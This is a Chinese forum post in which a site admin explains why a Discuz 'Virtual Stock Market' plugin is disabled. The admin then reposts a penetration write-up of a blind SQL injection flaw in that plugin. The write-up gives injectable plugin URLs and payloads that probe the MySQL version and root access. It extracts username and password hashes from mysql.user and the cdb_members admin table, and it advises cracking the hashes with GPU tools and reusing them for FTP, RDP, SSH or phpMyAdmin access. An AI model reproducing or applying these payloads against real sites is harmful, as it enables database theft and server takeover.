TA的每日心情 | 奋斗 前天 09:20 |
---|
签到天数: 2383 天 [LV.Master]伴坛终老
|
很多朋友在找虚拟股市,其实并非本站不想开放,插件出现了严重漏洞,而且这个插件是加密的,无法修改源码。: k: z1 K/ ~* y x. C
' { O' E1 o: ]
我们一直在等在原作者站出来解决,假如作者一直出现的话,我们可能会放弃这个版本的虚拟股市,所有资金将换算成ec币,发放到各位的账号。' Y- X" j- p$ b& @% a' P% p
3 M$ p% V3 |$ }# K! \/ H& o* m
漏洞如下: U* C9 b3 Y( S& \% G# o# E4 C
. A. [. o) j2 vDiscuz插件《虚拟股市》blind Injection Vul利用 : i: q- \; }5 \: I
8 B; W7 N1 }) I/ Z8 E$ I% O. Y6 X
* m5 M* Z: ?- X" ~漏洞的发现来自于对某站的渗透,由于其discuz版本为7.0,所以我只能把眼光聚焦在了它所安装的第三方插件上。
7 F' W$ [' t3 t. ~/ b经过简单的测试,就发现了《虚拟股市》存在注射漏洞: ; f. G* s2 B& H* B8 @$ R. z
http://www.target.com/plugin.php ... _One&stockid=91 # 91为可变参数
4 O3 i: @# q8 N J8 xhttp://www.target.com/plugin.php ... ser_Show&uid=13 # 13为可变参数 : @; v0 P2 B; K
确认存在注射后开始尝试用order by猜解字段数,然后union select。但两个注射点都在字段数达到一定数目后,所执行的SQL语句发生了变化。原因是插件代码中有控制语句,使其跳转到另一行中执行。这种情况下,我们没办法获得字段数。 $ S0 I# \' {9 O- M9 x5 C3 \% y, L. t0 d
思路有二:
1 A1 q- z- Z, g) m1.尝试盲注
4 L' A9 V0 F3 E# C5 X2.通过阅读《虚拟股市》这个插件的源码来确认其表结构和字段数 2 c& O( @6 w" I4 `1 Y
但经过搜索发现,这个插件的作者在发布时用了zend对其源码进行了加密。而现有所有的解密工具都不是很理想(这也是无法搞清楚漏洞原理和细节的原因)。因此,只能采取盲注的手法(对我而言)。 * L* A+ g- `$ O5 x
盲注费时间是没办法的,但我们会想,盲注能获得哪些信息呢?我的方法如下:
) o) i& u: ]9 c* c( ]0 v3 i#判断MYSQL版本,返回正常则为5,返回不正常则继续测试是否为4 1 ?) E: b& q k( L6 U# K
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and substring(@@version,1,1)=5 4 ^+ V0 e; l' l# ~
#是否支持子查询(版本为4的情况下) * c+ I+ z) C' F7 V
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1)=1
; D- t+ b9 L* W4 Y3 ?#当前用户是否为root 3 _3 c+ T- t+ x
/plugin.php?identifier=stock&module=stock&action=User_Show&uid=13 and (select 1 from mysql.user limit 0,1)=1 1 W7 r x- Y# k3 x: O( [
下面就根据情况而异了:
0 u" L+ ]& U3 y1. 假如数据库用户为root,则可以直接取出root密码HASH,然后破解。如果对方服务器3306开放,或者装有phpmyadmin,那么下一步不用说相信大家也知道了。如果没有开放3306,也没有安装phpmyadmin,那么可以用破解出来的密码猜测一下ftp密码,3389密码,或者SSH密码,又或者后台管理员密码,等等。 2 q0 }- V+ [- h) @
2.假如数据库用户不为root,则直接取出discuz用户表cdb_members的管理员密码HASH,然后破解。
2 U4 U) N/ } t2 F3 f- Y% R& |3 w#######取数据 " j# L6 z6 w1 l3 Q4 c' K4 h( `) e& h
#mysql.user表第一行第一个字符的ASCII值是否大于80
! i& k2 U9 u- p; ]. C; c/ _and ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),1,1))>80
/ q1 {7 @ {1 H, _. `" Z- J#第二个字符的ASCII值是否大于90
8 g( Q- C" X( D0 B4 Q! @7 Band ascii(substring((SELECT concat(username,0x3a,password) from mysql.user limit 0,1),2,1))>90 ! h/ h3 `3 c3 J9 y, o
…………
. q( M( q9 t+ i8 p a2 C就这样逐个猜,MYSQL4的密码HASH为16位MD5加密,MYSQL5的密码HASH为41位(加*号)。
1 j7 O8 m2 f1 ~密码破解: 7 q. u& n. x6 H" ] n& n! J/ a
1.MYSQL版本为4的话,这里有工具www.sqlhack.com,这个工具利用的是一个传说中的BUG,速度爆快。
' N, |! ]3 V+ t" z1 A# X2.MYSQL 版本为5的话,我推荐用ighashgpu进行破解(貌似只用GPU,不用CPU),我AMD4核+HD 4650显卡,破解速度为60M/s,放到Inter Core i7 8核 + NVIDIA GeForce 9800GTX+平台上,速度是70M/s。而用passwordpro,速度才170w/s,这就是差距。7位纯字母我只用了7分多钟就破出来了。 |
|